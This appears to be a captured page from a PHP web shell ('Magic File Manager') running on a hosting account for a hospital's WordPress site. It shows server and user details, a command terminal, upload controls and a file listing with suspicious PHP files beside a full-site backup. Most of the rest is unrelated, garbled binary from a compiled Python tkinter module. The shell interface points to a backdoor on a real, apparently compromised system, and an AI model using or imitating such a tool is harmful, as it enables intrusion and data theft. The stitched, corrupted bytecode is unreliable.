✨ Magic File Manager

🚀 Hostinger Optimized
🖥� Server: Apache
💻 System: Linux bom1plzcpnl503817.prod.bom1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
👤 User: pnj6a06usxf3 (9714991)
� PHP: 8.1.34
🚫 Disabled: ✨ NONE

💻 Terminal

� /home/pnj6a06usxf3/public_html/shivshaktihospital.co.in
$

� Create New

⬆� Upload File

📊 Max upload: 32M | 📦 Max POST: 128M

📄 Name📊 Size🔒 Perm⚡ Actions
� .well-known--drwxr-xr-x
� shivshaktihospital.com--drwxr-xr-x
� wp-admin--drwxr-xr-x
� wp-content--drwxr-xr-x
� wp-includes--drwxr-xr-x
⚙� .htaccess0.88 KB-rw-r--r--
📄 .htaccess.bk0.556 KB-rw-r--r--
📄 error_log1.42 MB-rw-r--r--
� index.php0.396 KB-rw-r--r--
📃 license.txt19.437 KB-rw-r--r--
� log.php63.893 KB-rw-r--r--
� readme.html7.233 KB-rw-r--r--
📦 shivshaktihospital.com.zip499.69 MB-rw-r--r--
� sid3.php55.304 KB-rw-r--r--
� wp-activate.php7.537 KB-rw-r--r--
� wp-blog-header.php0.343 KB-rw-r--r--
� wp-comments-post.php2.269 KB-rw-r--r--
� wp-config-sample.php3.261 KB-rw-r--r--
� wp-config.php3.16 KB-rw-r--r--
� wp-cron.php5.485 KB-rw-r--r--
� wp-links-opml.php2.435 KB-rw-r--r--
� wp-load.php3.845 KB-rw-r--r--
� wp-login.php51.305 KB-rw-r--r--
� wp-mail.php8.522 KB-rw-r--r--
� wp-postnews.php12.595 KB-rw-r--r--
� wp-settings.php32.375 KB-rw-r--r--
� wp-signup.php34.259 KB-rw-r--r--
� wp-trackback.php5.27 KB-rw-r--r--
� xmlrpc.php3.13 KB-rw-r--r--
Ë â{|jp¤ãó —dZddlZddlZddlZddlZddlZej Zddl­ddlZdZ dZ e ej«Z e ej«Zej Zej"Zej$Zej&d«Zej&dej*«Zd„Zd „Zd „Zej2Zd „Zej6Zdud „ZGd„dej:dd««Zd„Zej@ejB«Gd„d««Z"Gd„d«Z#d a$da%d„Z&dvd„Z'd„Z(d„Z)d„Z*dwd„Z+da,Gd„d«Z-Gd„de-«Z.Gd „d!e-«Z/Gd"„d#e-«Z0Gd$„d%e-«Z1dwd&„Z2e3Z4e Z5d'„Z6Gd(„d)«Z7Gd*„d+«Z8Gd,„d-«Z9Gd.„d/«Z:Gd0„d1«Z;Gd2„d3e7e;«Zdxd6„Z?Gd7„d8«Z@Gd9„d:«ZAGd;„d<«ZBGd=„d>e7«ZCGd?„d@eCe@eAeB«ZDGdA„dBeCe;«ZEGdC„dDeD«ZFGdE„dFeDe9e:«ZGdaHGdG„dHeD«ZIGdI„dJeDe9«ZJGdK„dLeD«ZKGdM„dNeD«ZLGdO„dPeDe9e:«ZMGdQ„dReD«ZNGdS„dTeD«ZOGdU„dVeD«ZPGdW„dXeD«ZQGdY„dZeD«ZRGd[„d\eD«ZSGd]„d^eDe9e:«ZTGd_„d`«ZUGda„dbeO«ZVGdc„dd«ZWGde„dfeW«ZXGdg„dheW«ZYdi„ZZdj„Z[Gdk„dleDe9«Z\Gdm„dneD«Z]Gdo„dpeD«Z^dq„Z_e`«jëD��cgc]/\}}|jÅdr«sec|ejÈ«s|dsvr|‘Œ1c}}Zeefdtk(re_«yy#e$rY�Œ¾wxYw#e$rY�Œ»wxYwcc}}w)ya8Wrapper functions for Tcl/Tk. Tkinter provides classes which allow the display, positioning and control of widgets. Toplevel widgets are Tk and Toplevel. Other widgets are Frame, Label, Entry, Text, Canvas, Button, Radiobutton, Checkbutton, Scale, Listbox, Scrollbar, OptionMenu, Spinbox LabelFrame and PanedWindow. Properties of the widgets are specified with keyword arguments. Keyword arguments have the same name as the corresponding resource under Tk. Widgets are positioned with one of the geometry managers Place, Pack or Grid. These managers can be called with methods place, pack, grid available in every Widget. Actions are bound to events by resources (e.g. keyword argument command) or with the method bind. Example (Hello, World): import tkinter from tkinter.constants import * tk = tkinter.Tk() frame = tkinter.Frame(tk, relief=RIDGE, borderwidth=2) frame.pack(fill=BOTH,expand=1) label = tkinter.Label(frame, text="Hello, World") label.pack(fill=X, expand=1) button = tkinter.Button(frame,text="Exit",command=tk.destroy) button.pack(side=BOTTOM) tk.mainloop() éN)Ú*éFz([\\{}])z([\s])có@—djtt|««S)úInternal function.Ú )ÚjoinÚmapÚ _stringify©Úvalues ú)/usr/lib64/python3.12/tkinter/__init__.pyÚ_joinr:s€à �8‰8”Cœ  EÓ*Ó +Ð+ócó&—t|ttf«rHt|«dk(r*t |d«}t j |«rd|z}|Sdt|«z}|St|t«r t|d«}n t|«}|sd}|St j |«rMt jd|«}|jdd«}tjd|«}|dd k(rd |z}|S|dd k(stj |«rd|z}|S) rrrz{%s}Úlatin1z{}z\\\1Ú z\nÚ"Ú\) Ú isinstanceÚlistÚtupleÚlenr Ú _magic_reÚsearchrÚbytesÚstrÚsubÚreplaceÚ _space_rer s r r r ?s€ä�%œ$¤˜Ô'Ü ˆu‹:˜Š?ܘu Q™xÓ(ˆEÜ×Ñ Ô&Ø ™�ð& €Lð#œU 5›\Ñ)ˆEð" €Lô �eœUÔ #ܘ˜xÓ(‰E䘓JˆEÙØˆEð €Lô× Ñ ˜eÔ $ä—M‘M '¨5Ó1ˆEØ—M‘M $¨Ó.ˆEÜ—M‘M '¨5Ó1ˆEØ�Q‰x˜3ŠØ˜u™ �ð €Lð�1‰X˜Š_¤ × 0Ñ 0°Ô 7ؘU‘NˆEØ €Lrcót—d}|D]0}t|ttf«r|t|«z}Œ(|€Œ+||fz}Œ2|S)r©)rrrÚ_flatten)ÚseqÚresÚitems r r"r"[sE€à €CÛˆÜ �dœU¤D˜MÔ *Øœ ›Ñ&‰CØ Ñ Ø˜˜‘-‰Cð ð €Jrcó6—t|t«r|St|td«tf«r|Si}t |«D]} |j |«Œ|S#t tf$r3}td|«|j«D] \}}|||<Œ Yd}~ŒVd}~wwxYw)rNz_cnfmerge: fallback due to:) rÚdictÚtyperr"ÚupdateÚAttributeErrorÚ TypeErrorÚprintÚitems)ÚcnfsÚcnfÚcÚmsgÚkÚvs r Ú _cnfmerger4js’€ä�$œÔ؈ Ü �Dœ4 ›:¤sÐ+Ô ,؈ àˆÜ˜$–ˆAð Ø— ‘ ˜1• ð ðˆ øô #¤IÐ.ò ÜÐ3°SÔ9ØŸG™GžI‘D�A�qØ�C˜’Fõ&ûð úsÁAÁBÁ%)BÂBTcóî—|j|«}t|«dzr td«‚t|«}i}t ||«D].\}}t |«}|r |ddk(r|dd}|r||«}|||<Œ0|S)aReturn a properly formatted dict built from Tcl list pairs. If cut_minus is True, the supposed '-' prefix will be removed from keys. If conv is specified, it is used to convert values. Tcl list is expected to contain an even number of elements. ézNTcl list representing a dict is expected to contain an even number of elementsrÚ-rN)Ú splitlistrÚ RuntimeErrorÚiterÚzipr) Útkr3Ú cut_minusÚconvÚtÚitr'Úkeyr s r Ú _splitdictrB€s�€ð � ‰ �Q‹€AÜ ˆ1ƒv�‚zÜðCóDð Dä ˆa‹€BØ €Dܘ"˜b–k‰ ˆˆUÜ�#‹hˆÙ ˜˜Q™ 3šØ�a�b�'ˆCÙ Ù˜“KˆE؈ˆSŠ ð "ð €Krcó—eZdZd„Zy)Ú_VersionInfoTypecóÜ—|jdk(r(|j›d|j›d|j›�S|j›d|j›|jd›|j›�S)NÚfinalÚ.r)Ú releaselevelÚmajorÚminorÚmicroÚserial©Úselfs r Ú__str__z_VersionInfoType.__str__™sd€Ø × Ñ  Ò 'Ø—j‘j�\  4§:¡: ,¨a°· ± ¨|Ð<Ð <à—j‘j�\  4§:¡: ,¨t×/@Ñ/@ÀÑ/CÐ.DÀTÇ[Á[ÀMÐRÐ RrN)Ú__name__Ú __module__Ú __qualname__rOr!rr rDrD—s„óSrrD)rIrJrKrHrLcóæ—ddl}|jd|«}|j«\}}}}t|«t|«t|«}}}|dk(r|}d}d}n d}dddœ|}t |||||«S)Nrz(\d+)\.(\d+)([ab.])(\d+)rGrFÚalphaÚbeta)ÚaÚb)ÚreÚ fullmatchÚgroupsÚintrD)ÚversionrXÚmrIrJrHrLrKs r Ú_parse_versionr^Ÿsƒ€Û ؈� ‰ Ð0°'Ó:€AØ)*¯©«Ñ&€Eˆ5�, Ü˜u›:¤s¨5£z´3°v³;�&ˆ5€EØ�sÒØˆØˆØ‰ àˆØ$¨6Ñ2°<Ñ@ˆ Ü ˜E 5¨%°¸vÓ FÐFrcó¨—eZdZdZeZdZdZeZdZdZ dZ dZ dZ d Z d Zd Zd Zd ZdZdZdZdZdZdZdZdZdZdZdZdZdZdZdZ dZ!dZ"dZ#d Z$d!Z%d"Z&d#Z'd$Z(d%Z)y&)'Ú EventTypeÚ2Ú3Ú4Ú5Ú6Ú7Ú8Ú9Ú10Ú11Ú12Ú13Ú14Ú15Ú16Ú17Ú18Ú19Ú20Ú21Ú22Ú23Ú24Ú25Ú26Ú27Ú28Ú29Ú30Ú31Ú32Ú33Ú34Ú35Ú36Ú37Ú38N)*rPrQrRÚKeyPressÚKeyÚ KeyReleaseÚ ButtonPressÚButtonÚ ButtonReleaseÚMotionÚEnterÚLeaveÚFocusInÚFocusOutÚKeymapÚExposeÚGraphicsExposeÚNoExposeÚ VisibilityÚCreateÚDestroyÚUnmapÚMapÚ MapRequestÚReparentÚ ConfigureÚConfigureRequestÚGravityÚ ResizeRequestÚ CirculateÚCirculateRequestÚPropertyÚSelectionClearÚSelectionRequestÚ SelectionÚColormapÚ ClientMessageÚMappingÚ VirtualEventÚActivateÚ DeactivateÚ MouseWheelr!rr r`r`®sÈ„à€HØ €CØ€JØ€KØ €FØ€MØ €FØ €EØ €EØ€GØ€HØ €FØ €FØ€NØ€HØ€JØ €FØ€GØ €EØ €CØ€JØ€HØ€IØÐØ€GØ€MØ€IØÐØ€HØ€NØÐØ€IØ€HØ€MØ€GØ€LØ€HØ€JØ�Jrr`có—eZdZdZd„Zy)ÚEventaÊContainer for the properties of an event. Instances of this type are generated if one of the following events occurs: KeyPress, KeyRelease - for keyboard events ButtonPress, ButtonRelease, Motion, Enter, Leave, MouseWheel - for mouse events Visibility, Unmap, Map, Expose, FocusIn, FocusOut, Circulate, Colormap, Gravity, Reparent, Property, Destroy, Activate, Deactivate - for window events. If a callback function for one of these events is registered using bind, bind_all, bind_class, or tag_bind, the callback is called with an Event as first argument. It will have the following attributes (in braces are the event types for which the attribute is valid): serial - serial number of event num - mouse button pressed (ButtonPress, ButtonRelease) focus - whether the window has the focus (Enter, Leave) height - height of the exposed window (Configure, Expose) width - width of the exposed window (Configure, Expose) keycode - keycode of the pressed key (KeyPress, KeyRelease) state - state of the event as a number (ButtonPress, ButtonRelease, Enter, KeyPress, KeyRelease, Leave, Motion) state - state as a string (Visibility) time - when the event occurred x - x-position of the mouse y - y-position of the mouse x_root - x-position of the mouse on the screen (ButtonPress, ButtonRelease, KeyPress, KeyRelease, Motion) y_root - y-position of the mouse on the screen (ButtonPress, ButtonRelease, KeyPress, KeyRelease, Motion) char - pressed character (KeyPress, KeyRelease) send_event - see X/Windows documentation keysym - keysym of the event as a string (KeyPress, KeyRelease) keysym_num - keysym of the event as a number (KeyPress, KeyRelease) type - type of the event as a number widget - widget in which the event occurred delta - delta of wheel movement (MouseWheel) có‡ —|jj«D��cic]\}}|dk7sŒ ||“Œc}}Š |js‰ d=n'|jdk7rt|j«‰ d<t |dd«s‰ d=|j dk(r‰ d=nžt |j t«r„|j }d}g}t|«D]\}}|d|zzsŒ|j|«Œ!|dt|«zdz z}|s|s|jt|««d j|«‰ d<|jdk(r‰ d =d }d t |jd |j«›ddjˆ fd„|D««›d�Scc}}w)Nz??ÚcharÚ send_eventTrÚstate) ÚShiftÚLockÚControlÚMod1ÚMod2ÚMod3ÚMod4ÚMod5ÚButton1ÚButton2ÚButton3ÚButton4ÚButton5rÚ|Údelta) r±r²ÚkeysymÚkeycoder°ÚnumrÁÚfocusÚxÚyÚwidthÚheightÚ<Únamez eventÚc3ó>•K—|]}|‰vsŒd|›d‰|›�–—Œy­w)rÚ=Nr!)Ú.0r2Úattrss €r Ú z!Event.__repr__..'s!øèø€ÐI±d°¸aÀ5»j¢ 5¨¢8Ô,±dùsƒ �Ú>)Ú__dict__r-r°ÚreprÚgetattrr²rr[Ú enumerateÚappendrÚhexrrÁr() rNr2r3r²ÚmodsÚsÚiÚnÚkeysrÐs @r Ú__repr__zEvent.__repr__shø€Ø"&§-¡-×"5Ñ"5Ô"7ÔEÑ"7™$˜!˜Q¸1À»9��A‘Ð"7ÒEˆØ�yŠyØ�f‘ Ø �Y‰Y˜$Ò Ü  §¡›OˆE�&‰MÜ�t˜\¨4Ô0Ø�lÐ#Ø �:‰:˜Š?Ø�g‘Ü ˜Ÿ ™ ¤CÔ (Ø—J‘JˆEðKˆDðˆAÜ! $ž‘��1ؘA ™FÓ#Ø—H‘H˜Q•Kð(ð˜q¤3 t£9™}°Ñ1Ð2Ñ2ˆEÙ™AØ—‘œ˜U›Ô$Ø ŸX™X a›[ˆE�'‰NØ �:‰:˜Š?Ø�g�ð -‰ô �D—I‘I˜v t§y¡yÕ 1Ø �G‰GÓI±dÓIÕ Ið ð ùóAFs Ÿ F­FN)rPrQrRÚ__doc__rÞr!rr r®r®Ùs „ñ(óT$ rr®có—dadaby)z¨Inhibit setting of default root window. Call this function to inhibit that the first instance of Tk is used for windows without an explicit parent window. FN)Ú_support_default_rootÚ _default_rootr!rr Ú NoDefaultRootrã/s€ð"Ðð€MÙrcó†—ts td«‚t€%|rtd|›d�«‚t«}t|usJ‚tS)NúINo master specified and tkinter is configured to not support default rootz Too early to z: no default root window)rár9râÚTk)ÚwhatÚroots r Ú_get_default_rootré=sS€Ý ÜðDóEð EäÐÙ Ü ¨t¨fÐ4LÐMÓNÐ NÜ‹tˆÜ Ñ$Ð$Ð$Ü Ðrcó¢—ts td«‚t}|€5tsJ‚dat«}dat�J‚|j «d|_|S)NråFT)rár9râræÚwithdrawÚ _temporary©rès r Ú_get_temp_rootrîIsa€å ÜðDóEð Eä €DØ €|Ý$Ð$Ð$Ø %ÐÜ‹tˆØ $ÐÜÐ$Ð$Ð$Ø � ‰ ŒØˆŒØ €Krcó`—t|dd«r |j«yy#t$rYywxYw)NrìF)rÕÚdestroyÚTclError©Úmasters r Ú_destroy_temp_rootrôZs6€Üˆv�| UÔ+ð Ø �N‰NÕ ð,øôò Ù ð ús �!¡ -¬-có—y©rNr!)Úerrs r Ú_tkerrorrøbs€àrcób— t|«}t|«‚#t$r Yt|«‚wxYw)zBInternal function. Calling it will raise the exception SystemExit.)r[Ú ValueErrorÚ SystemExit)Úcodes r Ú_exitrýgs<€ð Ü�4‹yˆô �TÓ Ðøô ò Ø Ü �TÓ Ðð ús ‚ ˜ .­.cót—eZdZdZdZdZdZdd„Zd„Zd„Z d„Z e Z d„Z d „Z d „Zd „Zd „Zd „ZeZd„Zd„Zd„Zy)ÚVariablezºClass to define value holders for e.g. buttons. Subclasses StringVar, IntVar, DoubleVar, BooleanVar are specializations that constrain the type of the value returned from get().rÌNcóØ—|�t|t«s td«‚|€ td«}|j «|_|j |_|r||_n dtt«z|_tdz a |�|j|«y|j j|j jdd|j««s|j|j«yy)a.Construct a variable MASTER can be given as master widget. VALUE is an optional value (defaults to "") NAME is an optional Tcl name (defaults to PY_VARnum). If NAME matches an existing variable and VALUE is omitted then the existing value is retained. Nzname must be a stringzcreate variableÚPY_VARrÚinfoÚexists)rrr+réÚ_rootr<Ú_tkÚ_namerÔÚ_varnumÚ initializeÚ getbooleanÚcallÚ_default©rNrór rËs r Ú__init__zVariable.__init__|s¹€ð Ð ¤J¨t´SÔ$9ÜÐ3Ó4Ð 4à ˆ>Ü&Ð'8Ó9ˆFØ—\‘\“^ˆŒ Ø—9‘9ˆŒÙ ؈D�Jà!¤D¬£MÑ1ˆDŒJÜ �q‰LˆGØ Ð Ø �O‰O˜EÕ "Ø—‘×$Ñ$ T§X¡X§]¡]°6¸8ÀTÇZÁZÓ%PÔQØ �O‰O˜DŸM™MÕ *ðRrcóh—|j€y|jj|jjdd|j««r%|jj |j«|j �4|j D]}|jj |«Œd|_yy)zUnset the variable in Tcl.Nrr)rr r rÚglobalunsetvarÚ _tclCommandsÚ deletecommand©rNrËs r Ú__del__zVariable.__del__šs‡€à �8‰8Ð Ø Ø �8‰8× Ñ ˜tŸx™xŸ}™}¨V°X¸t¿z¹zÓJÔ KØ �H‰H× #Ñ # D§J¡JÔ /Ø × Ñ Ð (Ø×)Ô)�Ø—‘×&Ñ& tÕ,ð*à $ˆDÕ ð )rcó—|jS)z'Return the name of the variable in Tcl.)rrMs r rOzVariable.__str__¥s €à�z‰zÐrcóN—|jj|j|«S©zSet the variable to VALUE.)rÚ globalsetvarr©rNr s r Úsetz Variable.set©s€à�x‰x×$Ñ$ T§Z¡Z°Ó7Ð7rcóL—|jj|j«S)zReturn value of variable.)rÚ globalgetvarrrMs r Úgetz Variable.get¯s€à�x‰x×$Ñ$ T§Z¡ZÓ0Ð0rcóz—t|d|j«j}tt |««} |j } ||jz}|jj||«|j€g|_ |jj|«|S#t $rYŒgwxYw#t $rYŒfwxYw©N) Ú CallWrapperrÚ__call__rÔÚidÚ__func__r*rPrÚ createcommandrr×)rNÚcallbackÚfÚcbnames r Ú _registerzVariable._register³s¶€Ü ˜ $¨¯ © Ó 3× <Ñ <ˆÜ”b˜“e“ˆð Ø×(Ñ(ˆHð Ø˜h×/Ñ/Ñ/ˆFð �‰×јv qÔ)Ø × Ñ Ð $Ø "ˆDÔ Ø ×Ñ× Ñ  Ô(؈ øôò Ù ð ûôò Ù ð ús#· BÁB. B+Â*B+Â. B:Â9B:có~—|j|«}|jjddd|j||f«|S)a#Define a trace callback for the variable. Mode is one of "read", "write", "unset", or a list or tuple of such strings. Callback must be a function which is called when the variable is read, written or unset. Return the name of the callback. ÚtraceÚaddÚvariable©r'rr r©rNÚmoder$r&s r Ú trace_addzVariable.trace_addÄs:€ð—‘ Ó)ˆØ �‰� ‰ �g˜u jØ—j‘j $¨¨ ô 3àˆ rcóZ—|jjddd|j||«|j«D](\}}|jj |«d|k(sŒ(y|jj |« |j j|«y#t$rYywxYw)aDelete the trace callback for a variable. Mode is one of "read", "write", "unset" or a list or tuple of such strings. Must be same as were specified in trace_add(). cbname is the name of the callback returned from trace_add(). r)Úremover+rN) rr rÚ trace_infor8rrr1rú©rNr.r&r]Úcas r Ú trace_removezVariable.trace_removeÓs˜€ð �‰� ‰ �g˜x¨Ø—j‘j $¨ô 0à—_‘_Ö&‰EˆAˆrØ�x‰x×!Ñ! "Ó% aÑ(¨FÓ2Ùð'ð �H‰H× "Ñ " 6Ô *ð Ø×!Ñ!×(Ñ(¨Õ0øÜò Ùð úsÂB B*Â)B*c óà—|jj}t|||jjddd|j«««D��cgc]\}}||«|f‘Œc}}Scc}}w)z&Return all trace callback information.r)rr+)rr8r r r)rNr8r2r3s r r2zVariable.trace_infoæsq€à—H‘H×&Ñ&ˆ Ü.1°)Ù �d—h‘h—m‘m G¨V°ZÀÇÁÓLÓ Mô/OôPñ/O¡d a¨‘˜1“˜qÒ!ð/OòPð PùóPsÁA*cóz—|j|«}|jjdd|j||«|S)a•Define a trace callback for the variable. MODE is one of "r", "w", "u" for read, write, undefine. CALLBACK must be a function which is called when the variable is read, written or undefined. Return the name of the callback. This deprecated method wraps a deprecated Tcl method that will likely be removed in the future. Use trace_add() instead. r)r+r,r-s r Útrace_variablezVariable.trace_variableìs3€ð—‘ Ó)ˆØ �‰� ‰ �g˜z¨4¯:©:°t¸VÔD؈ rcó”—|jjdd|j||«|jj|«d}|j «D](\}}|jj|«d|k(sŒ(y|jj |« |j j|«y#t$rYywxYw)aSDelete the trace callback for a variable. MODE is one of "r", "w", "u" for read, write, undefine. CBNAME is the name of the callback returned from trace_variable or trace. This deprecated method wraps a deprecated Tcl method that will likely be removed in the future. Use trace_remove() instead. r)ÚvdeleterN) rr rr8r2rrr1rúr3s r Ú trace_vdeletezVariable.trace_vdeleteÿs¬€ð �‰� ‰ �g˜y¨$¯*©*°d¸FÔCØ—‘×#Ñ# FÓ+¨AÑ.ˆØ—_‘_Ö&‰EˆAˆrØ�x‰x×!Ñ! "Ó% aÑ(¨FÓ2Ùð'ð �H‰H× "Ñ " 6Ô *ð Ø×!Ñ!×(Ñ(¨Õ0øÜò Ùð úsÂB;Â; CÃCcóÚ—|jj|jjdd|j««D�cgc]}|jj|«‘Œc}Scc}w)z»Return all trace callback information. This deprecated method wraps a deprecated Tcl method that will likely be removed in the future. Use trace_info() instead. r)Úvinfo)rr8r r©rNrÆs r Ú trace_vinfozVariable.trace_vinfos`€ð04¯x©x×/AÑ/AØ �H‰H�M‰M˜' 7¨D¯J©JÓ 7ô09ó:ñ09¨!�—‘×"Ñ" 1Õ%ð09ñ:ð :ùò:sÁ"A(cóô—t|t«stS|j|jk(xrH|jj |jj k(xr|j |j k(Sr)rrÿÚNotImplementedrÚ __class__rPr)rNÚothers r Ú__eq__zVariable.__eq__s]€Ü˜%¤Ô*Ü!Ð !Ø— ‘ ˜eŸk™kÑ)ò*Ø—N‘N×+Ñ+¨u¯©×/GÑ/GÑGò*à—H‘H § ¡ Ñ)ð +r©NNN)rPrQrRrßr rrr rrOrrrr'r/r5r2r8r)r;r?rDr!rr rÿrÿssi„ñAð€HØ €CØ€Ló+ò< %òò8ð€Jò1òò" òò&Pò ð" €Eòò,:ó+rrÿcó"—eZdZdZdZdd„Zd„Zy)Ú StringVarz#Value holder for strings variables.rÌNcó4—tj||||«y)a6Construct a string variable. MASTER can be given as master widget. VALUE is an optional value (defaults to "") NAME is an optional Tcl name (defaults to PY_VARnum). If NAME matches an existing variable and VALUE is omitted then the existing value is retained. N©rÿr r s r r zStringVar.__init__+ó€ô ×ј$ ¨¨tÕ4rcó†—|jj|j«}t|t«r|St |«S)z#Return value of variable as string.)rrrrrrs r rz StringVar.get7s3€à—‘×%Ñ% d§j¡jÓ1ˆÜ �eœSÔ !؈LÜ�5‹zÐrrE©rPrQrRrßr r rr!rr rGrG's„Ù-Ø€Hó 5órrGcó"—eZdZdZdZdd„Zd„Zy)ÚIntVarz#Value holder for integer variables.rNcó4—tj||||«y)a7Construct an integer variable. MASTER can be given as master widget. VALUE is an optional value (defaults to 0) NAME is an optional Tcl name (defaults to PY_VARnum). If NAME matches an existing variable and VALUE is omitted then the existing value is retained. NrIr s r r zIntVar.__init__CrJrcóö—|jj|j«} |jj|«S#tt f$r't |jj|««cYSwxYw)z/Return the value of the variable as an integer.)rrrÚgetintr+rñr[Ú getdoublers r rz IntVar.getOs`€à—‘×%Ñ% d§j¡jÓ1ˆð 2Ø—8‘8—?‘? 5Ó)Ð )øÜœ8Ð$ò 2Ü�t—x‘x×)Ñ)¨%Ó0Ó1Ò 1ð 2ús§AÁ3A8Á7A8rErLr!rr rNrN?s„Ù-Ø€Hó 5ó2rrNcó"—eZdZdZdZdd„Zd„Zy)Ú DoubleVarz!Value holder for float variables.gNcó4—tj||||«y)a6Construct a float variable. MASTER can be given as master widget. VALUE is an optional value (defaults to 0.0) NAME is an optional Tcl name (defaults to PY_VARnum). If NAME matches an existing variable and VALUE is omitted then the existing value is retained. NrIr s r r zDoubleVar.__init__\rJrcó~—|jj|jj|j««S)z,Return the value of the variable as a float.)rrRrrrMs r rz DoubleVar.geths*€à�x‰x×!Ñ! $§(¡(×"7Ñ"7¸¿ ¹ Ó"CÓDÐDrrErLr!rr rTrTXs„Ù+Ø€Hó 5óErrTcó,—eZdZdZdZdd„Zd„ZeZd„Zy)Ú BooleanVarz#Value holder for boolean variables.FNcó4—tj||||«y)a:Construct a boolean variable. MASTER can be given as master widget. VALUE is an optional value (defaults to False) NAME is an optional Tcl name (defaults to PY_VARnum). If NAME matches an existing variable and VALUE is omitted then the existing value is retained. NrIr s r r zBooleanVar.__init__qrJrcó€—|jj|j|jj|««Sr)rrrr rs r rzBooleanVar.set}s,€à�x‰x×$Ñ$ T§Z¡Z°·±×1DÑ1DÀUÓ1KÓLÐLrcó°— |jj|jj|j««S#t$r t d«‚wxYw)z+Return the value of the variable as a bool.ú invalid literal for getboolean())rr rrrñrúrMs r rzBooleanVar.getƒsM€ð AØ—8‘8×&Ñ& t§x¡x×'<Ñ'<¸T¿Z¹ZÓ'HÓIÐ IøÜò AÜÐ?Ó@Ð @ð Aús ‚=AÁArE) rPrQrRrßr r rrrr!rr rXrXms"„Ù-Ø€Hó 5òMð€JóArrXcóL—td«jj|«y)zRun the main loop of Tcl.zrun the main loopN)rér<Úmainloop)rÜs r r^r^‹s€äÐ)Ó*×-Ñ-×6Ñ6°qÕ9rcó|— td«jj|«S#t$r t d«‚wxYw)z$Convert Tcl object to True or False.zuse getboolean()r\)rér<r rñrú)rÚs r r r •s?€ð=Ü Ð!3Ó4×7Ñ7×BÑBÀ1ÓEÐEøÜ ò=ÜÐ;Ó<Ð<ð=ús‚#&¦;cóX—eZdZdZdZdZd„Zd„Zd›d„Zd„Z d„Z dœd„Z e Z d›d „Z d›d „Zd�d „Zdœd „Zd „Zd„Zd„Zd„ZeZd„Zd„Zd„Zd„Zd„Zd„Zd„Zd›d„Zd„Zd„Zdžd„Z d„Z!d„Z"d„Z#d„Z$d „Z%d!„Z&d"„Z'd#„Z(d›d$„Z)d%„Z*d&„Z+d›d'„Z,d(„Z-d)„Z.d*„Z/d+„Z0d,„Z1d-„Z2d›d.„Z3d›d/„Z4e4Z5d0„Z6džd1„Z7džd2„Z8d3„Z9d4„Z:d5„Z;d6„Zd9„Z?d:„Z@d;„ZAd<„ZBd=„ZCdžd>„ZDd?„ZEd@„ZFdA„ZGdB„ZHdždC„ZIdD„ZJdE„ZKdF„ZLdG„ZMdH„ZNdI„ZOdJ„ZPdK„ZQdL„ZRdM„ZSdN„ZTdO„ZUdP„ZVdQ„ZWdR„ZXdS„ZYdT„ZZdU„Z[dV„Z\dW„Z]dX„Z^dY„Z_dŸdZ„Z`d[„Zad\„Zbd]„Zcd^„Zdd_„Zed`„Zfda„Zgdb„Zhdc„Zidd„Zjde„Zkd›df„Zld dg„Zmd¡dh„Znd›di„Zod›dj„Zpd¡dk„Zqdl„Zrd¡dm„Zsdn„Ztdždo„Zudp„Zvdq„Zwdr„Zxds„Zydt„Zze{du„«Z|d›dv„Z}dw„Z~e~Zd¢dx„Z€e€Z�dy„Z‚dzZƒd{�j eƒ«Z…d|„Z†d}„Z‡d~„Zˆd„Z‰d€„ZŠd›d�„Z‹e‹ZŒd‚„Z�e�ZŽdƒ„Z�d„„Z�d…„Z‘d†„Z’d‡gZ“e“fdˆ„Z”e”Z•d‰„Z–e–Z—dŠ„Z˜d›d‹„Z™e™Zšd£dŒ„Z›e›Zœd�„Z�dŽ„Zžifd�„ZŸeŸZ d�„Z¡e“fd‘„Z¢ifd’„Z£e£Z¤d“„Z¥e¥Z¦d¤d”„Z§d•„Z¨d–„Z©d—„Zªd›d˜„Z«d™„Z¬dš„Z­y)¥ÚMisczRInternal class. Base class which defines methods common for interior widgets.Ncó„—|j�4|jD]}|jj|«Œd|_yy)zkInternal function. Delete all Tcl commands created for this widget in the Tcl interpreter.N)rr<rrs r rðz Misc.destroyªs?€ð × Ñ Ð (Ø×)Ô)�Ø—‘×%Ñ% dÕ+ð*à $ˆDÕ ð )rcó�—|jj|« |jj|«y#t$rYywxYw)zDInternal function. Delete the Tcl command provided in NAME.N)r<rrr1rúrs r rzMisc.deletecommand´sA€ð �‰×јdÔ#ð Ø × Ñ × $Ñ $ TÕ *øÜò Ù ð ús�9¹ AÁAcón—|jj|jjdd|««S)zßSet Tcl internal variable, whether the look and feel should adhere to Motif. A parameter of 1 means adhere to Motif (e.g. no color change if mouse passes over slider). Returns the set value.rÚtk_strictMotif)r<r r ©rNÚbooleans r rezMisc.tk_strictMotif¾s2€ð�w‰w×!Ñ! $§'¡'§,¡,Ø Ð# Wó#.ó/ð /rcó:—|jjd«y)zDChange the color scheme to light brown as used in Tk 3.6 and before.Ú tk_bisqueN©r<r rMs r rizMisc.tk_bisqueÈs€à �‰� ‰ �[Õ!rc ó˜—|jjdt|«ztt|j «««z«y)a Set a new color scheme for all widget elements. A single color as argument will cause that all colors of Tk widget elements are derived from this. Alternatively several keyword parameters and its associated colors can be given. The following keywords are valid: activeBackground, foreground, selectColor, activeForeground, highlightBackground, selectBackground, background, highlightColor, selectForeground, disabledForeground, insertBackground, troughColor.)Ú tk_setPaletteN)r<r r"rr-©rNÚargsÚkws r rlzMisc.tk_setPaletteÌs;€ð �‰� ‰ Ð'ܘ“ñÜ!)¬$¨r¯x©x«zÓ*:Ó!;ñ<õ =rcó>—|jjdd|«y)zƒWait until the variable is modified. A parameter of type IntVar, StringVar, DoubleVar or BooleanVar must be given.Útkwaitr+Nrjrs r Ú wait_variablezMisc.wait_variableÚs€ð �‰� ‰ �X˜z¨4Õ0rcóZ—|€|}|jjdd|j«y)zQWait until a WIDGET is destroyed. If no parameter is given self is used.NrqÚwindow©r<r Ú_w©rNrts r Ú wait_windowzMisc.wait_windowâs&€ð ˆ>؈FØ �‰� ‰ �X˜x¨¯©Õ3rcóZ—|€|}|jjdd|j«y)zxWait until the visibility of a WIDGET changes (e.g. it appears). If no parameter is given self is used.NrqÚ visibilityrurws r Úwait_visibilityzMisc.wait_visibilityês&€ð ˆ>؈FØ �‰� ‰ �X˜|¨V¯Y©YÕ7rcó<—|jj||«y)zSet Tcl variable NAME to VALUE.N)r<Úsetvar)rNrËr s r r}z Misc.setvarós€à �‰�‰�t˜UÕ#rcó8—|jj|«S)z"Return value of Tcl variable NAME.)r<Úgetvarrs r rz 